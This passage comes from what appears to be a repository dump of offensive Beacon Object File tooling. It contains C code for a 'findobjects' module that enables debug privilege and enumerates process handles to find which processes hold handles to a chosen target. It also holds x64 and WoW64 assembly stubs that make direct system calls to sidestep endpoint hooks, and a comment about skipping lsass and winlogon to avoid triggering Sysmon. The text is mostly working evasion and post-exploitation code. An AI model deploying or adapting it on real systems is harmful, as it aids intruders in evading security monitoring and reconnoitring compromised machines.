STATFLAG_NONAME))) {\n\t\treturn;\n\t}\n\n\tcbSize = ssStreamData.cbSize.LowPart;\n\tlpwOutput = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, cbSize + 1);\n\tif (lpwOutput != NULL) {\n\t\tpos.QuadPart = 0;\n\t\tif (FAILED(lpStream->lpVtbl->Seek(lpStream, pos, STREAM_SEEK_SET, NULL))) {\n\t\t\tgoto CleanUp;\n\t\t}\n\n\t\tif (FAILED(lpStream->lpVtbl->Read(lpStream, lpwOutput, (ULONG)cbSize, &cbRead))) {\t\t\n\t\t\tgoto CleanUp;\n\t\t}\n\n\t\tBeaconPrintf(CALLBACK_OUTPUT, \"%ls\", lpwOutput);\n\t}\n\nCleanUp:\n\n\tif (lpStream != NULL) {\n\t\tlpStream->lpVtbl->Release(lpStream);\n\t\tlpStream = NULL;\n\t}\n\n\tif (lpwOutput != NULL) {\n\t\tKERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, lpwOutput);\n\t}\n\n\treturn;\n}\n\nBOOL IsElevated() {\n\tBOOL fRet = FALSE;\n\tHANDLE hToken = NULL;\n\n\t_NtOpenProcessToken NtOpenProcessToken = (_NtOpenProcessToken)\n\t\tGetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"NtOpenProcessToken\");\n\tif (NtOpenProcessToken == NULL) {\n\t\treturn FALSE;\n\t}\n\n\tNTSTATUS status = NtOpenProcessToken(NtCurrentProcess(), TOKEN_QUERY, &hToken);\n\tif (status == STATUS_SUCCESS) {\n\t\tTOKEN_ELEVATION Elevation = { 0 };\n\t\tULONG ReturnLength;\n\n\t\tstatus = ZwQueryInformationToken(hToken, TokenElevation, &Elevation, sizeof(Elevation), &ReturnLength);\n\t\tif (status == STATUS_SUCCESS) {\n\t\t\tfRet = Elevation.TokenIsElevated;\n\t\t}\n\t}\n\n\tif (hToken != NULL) {\n\t\tZwClose(hToken);\n\t}\n\n\treturn fRet;\n}\n\nBOOL SetDebugPrivilege() {\n\tHANDLE hToken = NULL;\n\tTOKEN_PRIVILEGES TokenPrivileges = { 0 };\n\n\t_NtOpenProcessToken NtOpenProcessToken = (_NtOpenProcessToken)\n\t\tGetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"NtOpenProcessToken\");\n\tif (NtOpenProcessToken == NULL) {\n\t\treturn FALSE;\n\t}\n\n\tNTSTATUS status = NtOpenProcessToken(NtCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken);\n\tif (status != STATUS_SUCCESS) {\n\t\treturn FALSE;\n\t}\n\n\tTokenPrivileges.PrivilegeCount = 1;\n\tTokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;\n\n\tLPCWSTR lpwPriv = L\"SeDebugPrivilege\";\n\tif (!ADVAPI32$LookupPrivilegeValueW(NULL, lpwPriv, &TokenPrivileges.Privileges[0].Luid)) {\n\t\tZwClose(hToken);\n\t\treturn FALSE;\n\t}\n\n\tstatus = ZwAdjustPrivilegesToken(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL);\n\tif (status != STATUS_SUCCESS) {\n\t\tZwClose(hToken);\n\t\treturn FALSE;\n\t}\n\n\tZwClose(hToken);\n\n\treturn TRUE;\n}\n\nLPWSTR WINAPI PathFindFileNameW(LPCWSTR lpszPath) {\n\tLPCWSTR lastSlash = lpszPath;\n\n\twhile (lpszPath && *lpszPath)\n\t{\n\t\tif ((*lpszPath == '\\\\' || *lpszPath == '/' || *lpszPath == ':') &&\n\t\t\tlpszPath[1] && lpszPath[1] != '\\\\' && lpszPath[1] != '/')\n\t\t\tlastSlash = lpszPath + 1;\n\t\tlpszPath++;\n\t}\n\treturn (LPWSTR)lastSlash;\n}\n\nULONG GetPid(LPCWSTR lpwProcName) {\n\tNTSTATUS status;\n\tPSYSTEM_PROCESSES pProcInfo = NULL;\n\tLPVOID pProcInfoBuffer = NULL;\n\tSIZE_T procInfoSize = 0x10000;\n\tUNICODE_STRING uProcName;\n\tULONG ulPid = 0;\n\tULONG uReturnLength = 0;\n\n\t_RtlInitUnicodeString RtlInitUnicodeString = (_RtlInitUnicodeString)\n\t\tGetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"RtlInitUnicodeString\");\n\tif (RtlInitUnicodeString == NULL) {\n\t\treturn 0;\n\t}\n\n\t_RtlEqualUnicodeString RtlEqualUnicodeString = (_RtlEqualUnicodeString)\n\t\tGetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"RtlEqualUnicodeString\");\n\tif (RtlEqualUnicodeString == NULL) {\n\t\treturn 0;\n\t}\n\n\tdo {\n\t\tpProcInfoBuffer = NULL;\n\t\tstatus = ZwAllocateVirtualMemory(NtCurrentProcess(), &pProcInfoBuffer, 0, &procInfoSize, MEM_COMMIT, PAGE_READWRITE);\n\t\tif (status != STATUS_SUCCESS) {\n\t\t\treturn 0;\n\t\t}\n\n\t\tstatus = ZwQuerySystemInformation(SystemProcessInformation, pProcInfoBuffer, (ULONG)procInfoSize, &uReturnLength);\n\t\tif (status == STATUS_INFO_LENGTH_MISMATCH) {\n\t\t\tZwFreeVirtualMemory(NtCurrentProcess(), &pProcInfoBuffer, &procInfoSize, MEM_RELEASE);\n\t\t\tprocInfoSize += uReturnLength;\n\t\t}\n\n\t} while (status != STATUS_SUCCESS);\n\n\tRtlInitUnicodeString(&uProcName, lpwProcName);\n\n\tpProcInfo = (PSYSTEM_PROCESSES)pProcInfoBuffer;\n\tdo {\n\t\tpProcInfo = (PSYSTEM_PROCESSES)(((LPBYTE)pProcInfo) + pProcInfo->NextEntryDelta);\n\n\t\tif (RtlEqualUnicodeString(&pProcInfo->ProcessName, &uProcName, TRUE)) {\n\t\t\tulPid = (DWORD)(DWORD_PTR)pProcInfo->ProcessId;\n\t\t\tbreak;\n\t\t}\n\n\t\tif (pProcInfo->NextEntryDelta == 0) {\n\t\t\tbreak;\n\t\t}\n\n\t} while (pProcInfo && pProcInfo->NextEntryDelta);\n\n\tif (pProcInfoBuffer != NULL) {\n\t\tZwFreeVirtualMemory(NtCurrentProcess(), &pProcInfoBuffer, &procInfoSize, MEM_RELEASE);\n\t}\n\n\treturn ulPid;\n}\n\nBOOL EnumObjectHandles(HANDLE hProcess, PSYSTEM_HANDLE pObjHandle, LPCWSTR lpwHandleName, LPWSTR lpwProcName, ULONG ulPid) {\n\tNTSTATUS status;\n\tBOOL bResult = FALSE;\n\tHANDLE dupObjHandle = NULL;\n\tPOBJECT_TYPE_INFORMATION objectTypeInfo = NULL;\n\tSIZE_T objectInfoSize = 0x10000;\n\tUNICODE_STRING uProcess;\n\tBYTE OutputBuffer[2048] = { 0 };\n\tLPWSTR lpwFileName = NULL;\n\tULONG uReturnLength = 0;\n\n\t_RtlInitUnicodeString RtlInitUnicodeString = (_RtlInitUnicodeString)\n\t\tGetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"RtlInitUnicodeString\");\n\tif (RtlInitUnicodeString == NULL) {\n\t\treturn FALSE;\n\t}\n\n\t_RtlEqualUnicodeString RtlEqualUnicodeString = (_RtlEqualUnicodeString)\n\t\tGetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"RtlEqualUnicodeString\");\n\tif (RtlEqualUnicodeString == NULL) {\n\t\treturn FALSE;\n\t}\n\n\tstatus = ZwDuplicateObject(hProcess, (HANDLE)(DWORD_PTR)pObjHandle->Handle, NtCurrentProcess(), &dupObjHandle, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, 0);\n\tif (status != STATUS_SUCCESS) {\n\t\treturn FALSE;\n\t}\n\n\tif (pObjHandle->GrantedAccess == 0x0012019f) {\n\t\tZwClose(dupObjHandle);\n\t\treturn FALSE;\n\t}\n\n\tdo {\n\t\tobjectTypeInfo = NULL;\n\t\tstatus = ZwAllocateVirtualMemory(NtCurrentProcess(), (PVOID*)&objectTypeInfo, 0, &objectInfoSize, MEM_COMMIT, PAGE_READWRITE);\n\t\tif (status != STATUS_SUCCESS) {\n\t\t\tZwClose(dupObjHandle);\n\t\t\treturn FALSE;\n\t\t}\n\n\t\tstatus = ZwQueryObject(dupObjHandle, ObjectTypeInformation, objectTypeInfo, uReturnLength, &uReturnLength);\n\t\tif (status == STATUS_INFO_LENGTH_MISMATCH) {\n\t\t\tZwFreeVirtualMemory(NtCurrentProcess(), (PVOID*)&objectTypeInfo, &objectInfoSize, MEM_RELEASE);\n\t\t\tobjectInfoSize += uReturnLength;\n\t\t}\n\t} while (status != STATUS_SUCCESS);\n\n\tRtlInitUnicodeString(&uProcess, L\"Process\");\n\n\tif (RtlEqualUnicodeString(&objectTypeInfo->Name, &uProcess, TRUE)) {\n\t\tstatus = ZwQueryInformationProcess(dupObjHandle, ProcessImageFileName, OutputBuffer, sizeof(OutputBuffer), &uReturnLength);\n\t\tif (status == STATUS_SUCCESS) {\n\t\t\tPUNICODE_STRING uFileName = (PUNICODE_STRING)OutputBuffer;\n\t\t\tlpwFileName = PathFindFileNameW((LPWSTR)uFileName->Buffer);\n\n\t\t\tif (MSVCRT$_wcsicmp(lpwFileName, lpwHandleName) == 0) {\n\t\t\t\tBeaconPrintToStreamW(\n\t\t\t\t    L\"[+] ProcessName: %ls\\n\"\n\t\t\t\t    \"    ProcessID:   %lu\\n\" \n\t\t\t\t    \"    Handle:      0x%x\\n\"\n\t\t\t\t    \"    HandleType:  %wZ\\n\"\n\t\t\t\t    \"    HandleName:  %ls\\n\\n\", lpwProcName ,ulPid, pObjHandle->Handle, &objectTypeInfo->Name, lpwFileName);\n\n\t\t\t\tbResult = TRUE;\n\t\t\t}\n\t\t}\n\t}\n\n\tif (objectTypeInfo != NULL) {\n\t\tstatus = ZwFreeVirtualMemory(NtCurrentProcess(), (PVOID*)&objectTypeInfo, &objectInfoSize, MEM_RELEASE);\n\t}\n\n\tif (dupObjHandle != NULL) {\n\t\tZwClose(dupObjHandle);\n\t}\n\n\treturn bResult;\n}\n\n\nVOID go(IN PCHAR Args, IN ULONG Length) \n{\n\tNTSTATUS status;\n\tBOOL bResult = FALSE;\n\tULONG ulProcId = 0;\n\tPSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL;\n\tULONG ulLsassPid = 0;\n\tULONG ulWinlogonPid = 0;\n\tLPVOID pHandleInfoBuffer = NULL;\n\tSIZE_T handleInfoSize = 0x10000;\n\tBYTE OutputBuffer[2048] = { 0 };\n\tLPWSTR lpwHandleName = NULL;\n\tLPWSTR lpwProcName = NULL;\n\tULONG uReturnLength = 0;\n\tULONG i = 0;\n\n\t// Parse Arguments\n\tdatap parser;\n\tBeaconDataParse(&parser, Args, Length);\n\tlpwHandleName = (LPWSTR)BeaconDataExtract(&parser, NULL);\n\n\tif (lpwHandleName == NULL) {\n\t\tBeaconPrintf(CALLBACK_ERROR, \"Invalid argument...\\n\");\n\t\treturn;\n\t}\n\n\t_RtlInitUnicodeString RtlInitUnicodeString = (_RtlInitUnicodeString)\n\t\tGetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"RtlInitUnicodeString\");\n\tif (RtlInitUnicodeString == NULL) {\n\t\treturn;\n\t}\n\n\t_RtlEqualUnicodeString RtlEqualUnicodeString = (_RtlEqualUnicodeString)\n\t\tGetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"RtlEqualUnicodeString\");\n\tif (RtlEqualUnicodeString == NULL) {\n\t\treturn;\n\t}\n\n\tif (IsElevated()) {\n\t\tSetDebugPrivilege();\n\t}\n\n\tulProcId = GetPid(lpwHandleName);\n\tif (ulProcId == 0) {\n\t\tBeaconPrintf(CALLBACK_ERROR, \"Failed to obtain ProcessId...\\n\");\n\t\treturn;\n\t}\n\n\tulLsassPid = GetPid(L\"lsass.exe\");\n\tulWinlogonPid = GetPid(L\"winlogon.exe\");\n\n\tdo {\n\t\tpHandleInfoBuffer = NULL;\n\t\tstatus = ZwAllocateVirtualMemory(NtCurrentProcess(), &pHandleInfoBuffer, 0, &handleInfoSize, MEM_COMMIT, PAGE_READWRITE);\n\t\tif (status != STATUS_SUCCESS) {\n\t\t\treturn;\n\t\t}\n\n\t\tstatus = ZwQuerySystemInformation(SystemHandleInformation, pHandleInfoBuffer, (ULONG)handleInfoSize, &uReturnLength);\n\t\tif (status == STATUS_INFO_LENGTH_MISMATCH) {\n\t\t\tZwFreeVirtualMemory(NtCurrentProcess(), &pHandleInfoBuffer, &handleInfoSize, MEM_RELEASE);\n\t\t\thandleInfoSize += uReturnLength;\n\t\t}\n\n\t} while (status != STATUS_SUCCESS);\n\n\tpHandleInfo = (PSYSTEM_HANDLE_INFORMATION)pHandleInfoBuffer;\n\tfor (i = 0; i < pHandleInfo->HandleCount; i++) {\n\t\tSYSTEM_HANDLE objHandle = pHandleInfo->Handles[i];\n\n\t\t// Ignore System handles\n\t\tif (objHandle.ProcessId == 4) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (objHandle.ProcessId == ulProcId) {\n\t\t\tcontinue;\n\t\t}\n\n\t\t// Don't trigger sysmon by touching lsass or winlogon\n\t\tif ((objHandle.ProcessId == ulLsassPid) || (objHandle.ProcessId == ulWinlogonPid)) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tHANDLE hProcess = NULL;\n\t\tOBJECT_ATTRIBUTES ObjectAttributes;\n\t\tInitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL);\n\t\tCLIENT_ID uPid = { 0 };\n\n\t\tuPid.UniqueProcess = (HANDLE)(DWORD_PTR)objHandle.ProcessId;\n\t\tuPid.UniqueThread = (HANDLE)0;\n\n\t\tNTSTATUS status = ZwOpenProcess(&hProcess, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_DUP_HANDLE, &ObjectAttributes, &uPid);\n\t\tif (hProcess != NULL) {\n\t\t\tstatus = ZwQueryInformationProcess(hProcess, ProcessImageFileName, OutputBuffer, sizeof(OutputBuffer), &uReturnLength);\n\t\t\tif (status == STATUS_SUCCESS) {\n\t\t\t\tPUNICODE_STRING uProcName = (PUNICODE_STRING)OutputBuffer;\n\t\t\t\tlpwProcName = PathFindFileNameW((LPWSTR)uProcName->Buffer);\n\t\t\t\tif (EnumObjectHandles(hProcess, &objHandle, lpwHandleName, lpwProcName, objHandle.ProcessId)) {\n\t\t\t\t\tbResult = TRUE;\n\t\t\t\t}\n\t\t\t}\n\t\t\tZwClose(hProcess);\n\t\t}\n\t}\n\n\tif (bResult) {\n\t\t//Print final Output\n\t\tBeaconOutputStreamW();\n\t}\n\telse{\n\t\tBeaconPrintf(CALLBACK_OUTPUT,\"[!] No matching process handles found.\");\n\t}\n\n\tif (pHandleInfoBuffer) {\n\t\tstatus = ZwFreeVirtualMemory(NtCurrentProcess(), &pHandleInfoBuffer, &handleInfoSize, MEM_RELEASE);\n\t}\n\n\treturn;\n}\n"
  },
  {
    "path": "Process-BOF/findobjects/Syscalls-WoW64.h",
    "content": "#pragma once\n\n// This function expects a syscall number in eax and will increment it once for every mayor version\n// Note, this function will not work for all systemcalls. Only for most of them.\n// Example:\n// mov eax, 0x23                               ; Win 6.1 = 0x23, 6.2 = 0x24, 6.3 = 0x25, 10 = 0x26\n// call ExecuteSimpleSystemCallBase\n\n__asm__(\"ExecuteSimpleSystemCallBase:                     \\n\\\n    pop ecx                                               \\n\\\n    push ebp                                              \\n\\\n    mov ebp, esp                                          \\n\\\n    mov ecx, fs:[0x30]                                    \\n\\\nExecuteSimpleSystemCallBase_Check_X_X_XXXX:               \\n\\\n    cmp word ptr [ecx+0x0A4], 10                          \\n\\\n    je  ExecuteSimpleSystemCallBase_SystemCall_10_0_XXXX  \\n\\\n    cmp word ptr [ecx+0x0A4], 6                           \\n\\\n    jne  ExecuteSimpleSystemCallBase_Epilogue             \\n\\\nExecuteSimpleSystemCallBase_Check_6_X_XXXX:               \\n\\\n    cmp word ptr [ecx+0x0A8], 3                           \\n\\\n    je  ExecuteSimpleSystemCallBase_SystemCall_6_3_XXXX   \\n\\\n    cmp word ptr [ecx+0x0A8], 2                           \\n\\\n    je  ExecuteSimpleSystemCallBase_SystemCall_6_2_XXXX   \\n\\\n    cmp word ptr [ecx+0x0A8], 1                           \\n\\\n    jne  ExecuteSimpleSystemCallBase_Epilogue             \\n\\\n    cmp word ptr [ecx+0x0AC], 7601                        \\n\\\n    je  ExecuteSimpleSystemCallBase_SystemCall_6_1_7601   \\n\\\n    jmp ExecuteSimpleSystemCallBase_Epilogue              \\n\\\nExecuteSimpleSystemCallBase_SystemCall_10_0_XXXX:         \\n\\\n    inc eax                                               \\n\\\nExecuteSimpleSystemCallBase_SystemCall_6_3_XXXX:          \\n\\\n    inc eax                                               \\n\\\nExecuteSimpleSystemCallBase_SystemCall_6_2_XXXX:          \\n\\\n    inc eax                                               \\n\\\nExecuteSimpleSystemCallBase_SystemCall_6_1_7601:          \\n\\\nExecuteSimpleSystemCallBase_Argument_Count:               \\n\\\n    mov ecx, 0x10                                         \\n\\\nExecuteSimpleSystemCallBase_Push_Argument:                \\n\\\n    dec ecx                                               \\n\\\n    push [ebp + 0x08 + ecx * 4]                           \\n\\\n    jnz ExecuteSimpleSystemCallBase_Push_Argument         \\n\\\n    lea ebx,[ExecuteSimpleSystemCallBase_Epilogue]        \\n\\\n    push ebx                                              \\n\\\n    call dword ptr fs:[0x0C0]                             \\n\\\n    lea esp, [esp+4]                                      \\n\\\nExecuteSimpleSystemCallBase_Epilogue:                     \\n\\\n    mov esp, ebp                                          \\n\\\n    pop ebp                                               \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwQuerySystemInformation:                        \\n\\\n    mov eax, 0x033                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwQueryInformationProcess:                       \\n\\\n    mov eax, 0x016                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwOpenProcess:                                   \\n\\\n    mov eax, 0x023                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwAdjustPrivilegesToken:                         \\n\\\n    mov eax, 0x03E                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwQueryInformationToken:                         \\n\\\n    mov eax, 0x01E                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwAllocateVirtualMemory:                         \\n\\\n    mov eax, 0x015                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwFreeVirtualMemory:                             \\n\\\n    mov eax, 0x01B                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwReadVirtualMemory:                             \\n\\\n    mov eax, 0x03C                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwWriteVirtualMemory:                            \\n\\\n    mov eax, 0x037                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwDuplicateObject:                               \\n\\\n    mov eax, 0x039                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwQueryObject:                                   \\n\\\n    mov eax, 0x00d                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwClose:                                         \\n\\\n    mov eax, 0x00C                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n"
  },
  {
    "path": "Process-BOF/findobjects/Syscalls.h",
    "content": "#pragma once\n\n// This function expects a syscall number in eax and will increment it once for every mayor version\n// Note, this function will not work for all systemcalls. Only for most of them.\n// Example:\n// mov rax, 0x23                               ; Win 6.1 = 0x23, 6.2 = 0x24, 6.3 = 0x25, 10 = 0x26\n// call ExecuteSimpleSystemCallBase\n\n__asm__(\"ExecuteSimpleSystemCallBase:                     \\n\\\n    mov r10, gs:[0x60]                                    \\n\\\nExecuteSimpleSystemCallBase_Check_X_X_XXXX:               \\n\\\n    cmp dword ptr [r10+0x118], 10                         \\n\\\n    je  ExecuteSimpleSystemCallBase_SystemCall_10_0_XXXX  \\n\\\n    cmp dword ptr [r10+0x118], 6                          \\n\\\n    jne ExecuteSimpleSystemCallBase_SystemCall_Unknown    \\n\\\nExecuteSimpleSystemCallBase_Check_6_X_XXXX:               \\n\\\n    cmp dword ptr [r10+0x11c], 3                          \\n\\\n    je  ExecuteSimpleSystemCallBase_SystemCall_6_3_XXXX   \\n\\\n    cmp dword ptr [r10+0x11c], 2                          \\n\\\n    je  ExecuteSimpleSystemCallBase_SystemCall_6_2_XXXX   \\n\\\n    cmp dword ptr [r10+0x11c], 1                          \\n\\\n    jne ExecuteSimpleSystemCallBase_SystemCall_Unknown    \\n\\\nExecuteSimpleSystemCallBase_Check_6_1_XXXX:               \\n\\\n    cmp dword ptr [r10+0x120], 7601                       \\n\\\n    je  ExecuteSimpleSystemCallBase_SystemCall_6_1_7601   \\n\\\n    jmp ExecuteSimpleSystemCallBase_SystemCall_Unknown    \\n\\\nExecuteSimpleSystemCallBase_SystemCall_10_0_XXXX:         \\n\\\n    inc eax                                               \\n\\\nExecuteSimpleSystemCallBase_SystemCall_6_3_XXXX:          \\n\\\n    inc eax                                               \\n\\\nExecuteSimpleSystemCallBase_SystemCall_6_2_XXXX:          \\n\\\n    inc eax                                               \\n\\\nExecuteSimpleSystemCallBase_SystemCall_6_1_7601:          \\n\\\nExecuteSimpleSystemCallBase_Epilogue:                     \\n\\\n    pop r10                                               \\n\\\n    mov r10, rcx                                          \\n\\\n    syscall                                               \\n\\\nExecuteSimpleSystemCallBase_Finished:                     \\n\\\nExecuteSimpleSystemCallBase_SystemCall_Unknown:           \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwQuerySystemInformation:                        \\n\\\n    mov rax, 0x033                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwQueryInformationProcess:                       \\n\\\n    mov rax, 0x016                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwOpenProcess:                                   \\n\\\n    mov rax, 0x023                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwAdjustPrivilegesToken:                         \\n\\\n    mov rax, 0x03E                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwQueryInformationToken:                         \\n\\\n    mov rax, 0x01E                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwAllocateVirtualMemory:                         \\n\\\n    mov rax, 0x015                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwFreeVirtualMemory:                             \\n\\\n    mov rax, 0x01B                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwReadVirtualMemory:                             \\n\\\n    mov rax, 0x03C                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwWriteVirtualMemory:                            \\n\\\n    mov rax, 0x037                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwDuplicateObject:                               \\n\\\n    mov rax, 0x039                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwQueryObject:                                   \\n\\\n    mov rax, 0x00d                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwClose:                                         \\n\\\n    mov rax, 0x00C                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n"
  },
  {
    "path": "Process-BOF/process/Syscalls-WoW64.h",
    "content": "#pragma once\n\n// This function expects a syscall number in eax and will increment it once for every mayor version\n// Note, this function will not work for all systemcalls. Only for most of them.\n// Example:\n// mov eax, 0x23                               ; Win 6.1 = 0x23, 6.2 = 0x24, 6.3 = 0x25, 10 = 0x26\n// call ExecuteSimpleSystemCallBase\n\n__asm__(\"ExecuteSimpleSystemCallBase:                     \\n\\\n    pop ecx                                               \\n\\\n    push ebp                                              \\n\\\n    mov ebp, esp                                          \\n\\\n    mov ecx, fs:[0x30]                                    \\n\\\nExecuteSimpleSystemCallBase_Check_X_X_XXXX:               \\n\\\n    cmp word ptr [ecx+0x0A4], 10                          \\n\\\n    je  ExecuteSimpleSystemCallBase_SystemCall_10_0_XXXX  \\n\\\n    cmp word ptr [ecx+0x0A4], 6                           \\n\\\n    jne  ExecuteSimpleSystemCallBase_Epilogue             \\n\\\nExecuteSimpleSystemCallBase_Check_6_X_XXXX:               \\n\\\n    cmp word ptr [ecx+0x0A8], 3                           \\n\\\n    je  ExecuteSimpleSystemCallBase_SystemCall_6_3_XXXX   \\n\\\n    cmp word ptr [ecx+0x0A8], 2                           \\n\\\n    je  ExecuteSimpleSystemCallBase_SystemCall_6_2_XXXX   \\n\\\n    cmp word ptr [ecx+0x0A8], 1                           \\n\\\n    jne  ExecuteSimpleSystemCallBase_Epilogue             \\n\\\n    cmp word ptr [ecx+0x0AC], 7601                        \\n\\\n    je  ExecuteSimpleSystemCallBase_SystemCall_6_1_7601   \\n\\\n    jmp ExecuteSimpleSystemCallBase_Epilogue              \\n\\\nExecuteSimpleSystemCallBase_SystemCall_10_0_XXXX:         \\n\\\n    inc eax                                               \\n\\\nExecuteSimpleSystemCallBase_SystemCall_6_3_XXXX:          \\n\\\n    inc eax                                               \\n\\\nExecuteSimpleSystemCallBase_SystemCall_6_2_XXXX:          \\n\\\n    inc eax                                               \\n\\\nExecuteSimpleSystemCallBase_SystemCall_6_1_7601:          \\n\\\nExecuteSimpleSystemCallBase_Argument_Count:               \\n\\\n    mov ecx, 0x10                                         \\n\\\nExecuteSimpleSystemCallBase_Push_Argument:                \\n\\\n    dec ecx                                               \\n\\\n    push [ebp + 0x08 + ecx * 4]                           \\n\\\n    jnz ExecuteSimpleSystemCallBase_Push_Argument         \\n\\\n    lea ebx,[ExecuteSimpleSystemCallBase_Epilogue]        \\n\\\n    push ebx                                              \\n\\\n    call dword ptr fs:[0x0C0]                             \\n\\\n    lea esp, [esp+4]                                      \\n\\\nExecuteSimpleSystemCallBase_Epilogue:                     \\n\\\n    mov esp, ebp                                          \\n\\\n    pop ebp                                               \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwQuerySystemInformation:                        \\n\\\n    mov eax, 0x033                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwQueryInformationProcess:                       \\n\\\n    mov eax, 0x016                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwOpenProcess:                                   \\n\\\n    mov eax, 0x023                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwAdjustPrivilegesToken:                         \\n\\\n    mov eax, 0x03E                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwQueryInformationToken:                         \\n\\\n    mov eax, 0x01E                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwAllocateVirtualMemory:                         \\n\\\n    mov eax, 0x015                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwFreeVirtualMemory:                             \\n\\\n    mov eax, 0x01B                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwReadVirtualMemory:                             \\n\\\n    mov eax, 0x03C                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwWriteVirtualMemory:                            \\n\\\n    mov eax, 0x037                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwCreateFile:                                    \\n\\\n    mov eax, 0x052                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwClose:                                         \\n\\\n    mov eax, 0x00C                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n"
  },
  {
    "path": "Process-BOF/process/Syscalls.h",
